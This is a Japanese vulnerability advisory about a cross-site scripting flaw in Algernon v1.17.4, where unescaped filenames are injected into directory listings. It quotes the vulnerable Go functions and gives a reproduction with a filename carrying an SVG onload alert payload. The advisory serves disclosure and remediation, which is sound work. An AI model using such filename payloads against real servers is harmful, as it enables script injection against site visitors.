
Algernon v1.17.4 は、ファイル名に細工されたペイロードを介して攻撃者が任意のコードを実行できるクロスサイトスクリプティング (XSS) 脆弱性の影響を受けます。
Algernon v1.17.4は、攻撃者が巧妙に細工されたペイロードをファイル名に注入することで任意のコードを実行できるクロスサイトスクリプティング(XSS)の脆弱性の影響を受けます。
一部の変数がサニタイズされていませんでした。 例 :
engine/dirhandler.go 80-108行目
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go 124-132行目
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
ファイルシステムから取得したファイル名が、ディレクトリ一覧でHTMLエスケープされずに直接HTMLに挿入されています。
$ algernon -v
Algernon 1.17.4
ディレクトリ内に、XSSペイロードをファイル名として持つファイルを作成します。
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
同じリポジトリ内でアプリケーションを実行します。
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
以下のURLにアクセスすると、アラートが表示されます。



この問題はv1.17.5で修正されました。
発見者 : Benoit H. (Bnyt7)